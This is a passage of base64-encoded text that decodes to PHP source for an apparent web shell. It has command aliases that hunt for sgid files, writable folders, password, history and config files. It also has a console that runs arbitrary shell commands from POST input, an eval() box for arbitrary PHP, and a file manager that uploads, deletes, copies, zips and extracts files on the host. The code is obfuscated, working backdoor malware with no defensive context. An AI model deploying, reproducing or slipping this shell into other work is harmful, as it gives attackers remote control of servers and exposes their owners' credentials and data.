0KICAJCSJmaW5kIGFsbCBzZ2lkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLA0KICAJCSJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLA0KICAJCSJmaW5kIGNvbmZpZyogZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXBlcm0gLTIgLWxzIiwNCiAgCQkiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsDQogIAkJImZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsDQogIAkJImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIC5iYXNoX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiwNCiAgCQkiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwNCiAgCQkiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KCQkiTG9jYXRlIiA9PiAiIiwNCiAgCQkibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsDQoJCSJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLA0KCQkibG9jYXRlIHByb2Z0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwcm9mdHBkLmNvbmYiLA0KCQkibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwNCgkJImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLA0KCQkibG9jYXRlIGFkbWluLnBocCBmaWxlcyIgPT4ibG9jYXRlIGFkbWluLnBocCIsDQoJCSJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwNCgkJImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRhdCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGF0IiwNCgkJImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsDQoJCSJsb2NhdGUgY29uZmlnLmluYy5waHAiID0+ICJsb2NhdGUgY29uZmlnLmluYy5waHAiLA0KCQkibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLA0KCQkibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsDQoJCSJsb2NhdGUgLmNvbmYgZmlsZXMiPT4ibG9jYXRlICcuY29uZiciLA0KCQkibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwNCgkJImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsDQoJCSJsb2NhdGUgLmh0cGFzc3dkIGZpbGVzIiA9PiAibG9jYXRlICcuaHRwYXNzd2QnIiwNCgkJImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsDQoJCSJsb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAibG9jYXRlICcuZmV0Y2htYWlscmMnIiwNCgkJImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwNCgkJImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLA0KCQkibG9jYXRlIHByaXYgZmlsZXMiID0+ICJsb2NhdGUgcHJpdiINCgkpOw0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsNCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KICAgICAgICBwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCB0cnVlKTsNCiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7DQogICAgfSBlbHNlaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpDQogICAgICAgIHByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCcsIDApOw0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQlwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsNCgkJb2Jfc3RhcnQoKTsNCgkJZWNobyAiZC5jZi5jbWQudmFsdWU9Jyc7XG4iOw0KCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLmV4KCRfUE9TVFsncDEnXSksIlxuXHJcdFwnXDAiKSk7DQoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQlwcm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCAwKTsNCgloYXJkSGVhZGVyKCk7DQogICAgZWNobyAiPHNjcmlwdD4NCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7DQp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7DQp2YXIgY3VyID0gMDsNCmZ1bmN0aW9uIGtwKGUpIHsNCgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCglpZihuID09IDM4KSB7DQoJCWN1ci0tOw0KCQlpZihjdXI+PTApDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1cisrOw0KCX0gZWxzZSBpZihuID09IDQwKSB7DQoJCWN1cisrOw0KCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyLS07DQoJfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KCWNtZHMucG9wKCk7DQoJY21kcy5wdXNoKGNtZCk7DQoJY21kcy5wdXNoKCcnKTsNCgljdXIgPSBjbWRzLmxlbmd0aC0xOw0KfQ0KPC9zY3JpcHQ+IjsNCgllY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PGxhYmVsPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCgllY2hvICc8L3NlbGVjdD48L2xhYmVsPjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0ic3VibWl0Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddPydjaGVja2VkJzonJykuJz4gcmVkaXJlY3Qgc3RkZXJyIHRvIHN0ZG91dCAoMj4mMSk8L25vYnI+PGJyLz48dGV4dGFyZWEgY2xhc3M9YmlnYXJlYSBuYW1lPW91dHB1dCBzdHlsZT0iYm9yZGVyLWJvdHRvbTowO21hcmdpbi10b3A6NXB4OyIgcmVhZG9ubHk+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsNCgl9DQoJZWNobyAnPC90ZXh0YXJlYT48dGFibGUgc3R5bGU9ImJvcmRlcjoxcHggc29saWQgIzA2MGExMDtiYWNrZ3JvdW5kLWNvbG9yOiMwNjBhMTA7Ym9yZGVyLXRvcDowcHg7IiBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9IjEwMCUiPjx0cj48dGQgc3R5bGU9InBhZGRpbmctbGVmdDo0cHg7IHdpZHRoOjEzcHg7Ij4kPC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyOjBweDt3aWR0aDoxMDAlOyIgb25rZXlkb3duPSJrcChldmVudCk7Ij48L3RkPjwvdHI+PC90YWJsZT4nOw0KCWVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsnYWpheCddKSApIHsNCgkJJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWV2YWwoJF9QT1NUWydwMSddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ1BocE91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCWhhcmRIZWFkZXIoKTsNCglpZiggaXNzZXQoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMiddID09ICdpbmZvJykgKSB7DQoJCWVjaG8gJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7DQoJCW9iX3N0YXJ0KCk7DQoJCXBocGluZm8oKTsNCgkJJHRtcCA9IG9iX2dldF9jbGVhbigpOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOw0KCQkkdG1wID0gcHJlZ19yZXBsYWNlKCchYTpcdysgey4qfSFtc2lVJywnJywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWgxIW1zaVUnLCdoMicsJHRtcCk7DQoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGggeyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsNCgkJJHRtcCA9IHByZWdfcmVwbGFjZSgnIWJvZHksIHRkLCB0aCwgaDIsIGgyIHsuKn0hbXNpVScsJycsJHRtcCk7DQoJCWVjaG8gJHRtcDsNCgkJZWNobyAnPC9kaXY+PGJyPic7DQoJfQ0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsNCgkJZWNobyAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+Jy4oIWVtcHR5KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9RXZhbCBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiPic7DQoJZWNobyAnIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8L2Zvcm0+PHByZSBpZD1QaHBPdXRwdXQgc3R5bGU9IicuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4nbWFyZ2luLXRvcDo1cHg7IiBjbGFzcz1tbDE+JzsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlvYl9zdGFydCgpOw0KCQlldmFsKCRfUE9TVFsncDEnXSk7DQoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7DQoJfQ0KCWVjaG8gJzwvcHJlPjwvZGl2Pic7DQoJaGFyZEZvb3RlcigpOw0KfQ0KZnVuY3Rpb24gYWN0aW9uRmlsZXNNYW4oKSB7DQogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpDQogICAgICAgICRfQ09PS0lFWydmJ10gPSBAdW5zZXJpYWxpemUoJF9DT09LSUVbJ2YnXSk7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQkJY2FzZSAndXBsb2FkRmlsZSc6DQoJCQkJaWYgKCBpc19hcnJheSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10pICkgew0KCQkJCQlmb3JlYWNoICggJF9GSUxFU1snZiddWyd0bXBfbmFtZSddIGFzICRpID0+ICR0bXBOYW1lICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcE5hbWUsICRfRklMRVNbJ2YnXVsnbmFtZSddWyRpXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiQ2FuJ3QgdXBsb2FkIGZpbGUhIjsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ21rZGlyJzoNCgkJCQlpZighQG1rZGlyKCRfUE9TVFsncDInXSkpDQoJCQkJCWVjaG8gIkNhbid0IGNyZWF0ZSBuZXcgZGlyIjsNCgkJCQlicmVhazsNCgkJCWNhc2UgJ2RlbGV0ZSc6DQoJCQkJZnVuY3Rpb24gZGVsZXRlRGlyKCRwYXRoKSB7DQoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAkcGF0aDokcGF0aC4nLyc7DQoJCQkJCSRkaCAgPSBvcGVuZGlyKCRwYXRoKTsNCgkJCQkJd2hpbGUgKCAoJOKWnyA9IHJlYWRkaXIoJGRoKSApICE9PSBmYWxzZSkgew0KCQkJCQkJJOKWnyA9ICRwYXRoLiTilp87DQoJCQkJCQlpZiAoIChiYXNlbmFtZSgk4pafKSA9PSAiLi4iKSB8fCAoYmFzZW5hbWUoJOKWnykgPT0gIi4iKSApDQoJCQkJCQkJY29udGludWU7DQoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCTilp8pOw0KCQkJCQkJaWYgKCR0eXBlID09ICJkaXIiKQ0KCQkJCQkJCWRlbGV0ZURpcigk4pafKTsNCgkJCQkJCWVsc2UNCgkJCQkJCQlAdW5saW5rKCTilp8pOw0KCQkJCQl9DQoJCQkJCWNsb3NlZGlyKCRkaCk7DQoJCQkJCUBybWRpcigkcGF0aCk7DQoJCQkJfQ0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpDQoJCQkJCWZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7DQoJCQkJCQkkZiA9IHVybGRlY29kZSgkZik7DQoJCQkJCQlpZihpc19kaXIoJGYpKQ0KCQkJCQkJCWRlbGV0ZURpcigkZik7DQoJCQkJCQllbHNlDQoJCQkJCQkJQHVubGluaygkZik7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCWNhc2UgJ3Bhc3RlJzoNCgkJCQlpZigkX0NPT0tJRVsnYWN0J10gPT0gJ2NvcHknKSB7DQoJCQkJCWZ1bmN0aW9uIGNvcHlfcGFzdGUoJGMsJHMsJGQpew0KCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7DQoJCQkJCQkJbWtkaXIoJGQuJHMpOw0KCQkJCQkJCSRoID0gQG9wZW5kaXIoJGMuJHMpOw0KCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkNCgkJCQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpDQoJCQkJCQkJCQljb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsNCgkJCQkJCX0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJY29weV9wYXN0ZSgkX0NPT0tJRVsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnbW92ZScpIHsNCgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7DQoJCQkJCQlpZihpc19kaXIoJGMuJHMpKXsNCgkJCQkJCQlta2RpcigkZC4kcyk7DQoJCQkJCQkJJGggPSBAb3BlbmRpcigkYy4kcyk7DQoJCQkJCQkJd2hpbGUgKCgkZiA9IEByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkNCgkJCQkJCQkJCWNvcHlfcGFzdGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KCQkJCQkJfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQ0KCQkJCQkJCUBjb3B5KCRjLiRzLCAkZC4kcyk7DQoJCQkJCX0NCgkJCQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQ0KCQkJCQkJQHJlbmFtZSgkX0NPT0tJRVsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2ZpbGUoJF9DT09LSUVbJ2MnXS4kZikpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKEBpc19kaXIoJF9DT09LSUVbJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRpdGVyYXRvciA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkZi4nLycsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+YWRkRmlsZShyZWFscGF0aCgka2V5KSwgJGtleSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsNCgkJCQkJaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX0NPT0tJRVsnYyddLiRmKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hkaXIoJF9DT09LSUVbJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7DQogICAgICAgICAgICAgICAgICAgIGV4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX0NPT0tJRVsnZiddKSk7DQogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQoJCQkJfQ0KCQkJCXVuc2V0KCRfQ09PS0lFWydmJ10pOw0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0aW1lKCkgLSAzNjAwKTsNCgkJCQlicmVhazsNCgkJCWRlZmF1bHQ6DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJCQkJcHJvdG90eXBlKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOw0KCQkJCQlwcm90b3R5cGUoJ2YnLCBzZXJpYWxpemUoQCRfUE9TVFsnZiddKSk7DQoJCQkJCXByb3RvdHlwZSgnYycsIEAkX1BPU1RbJ2MnXSk7DQoJCQkJfQ0KCQkJCWJyZWFrOw0KCQl9DQoJfQ0KICAgIGhhcmRIZWFkZXIoKTsNCgllY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzP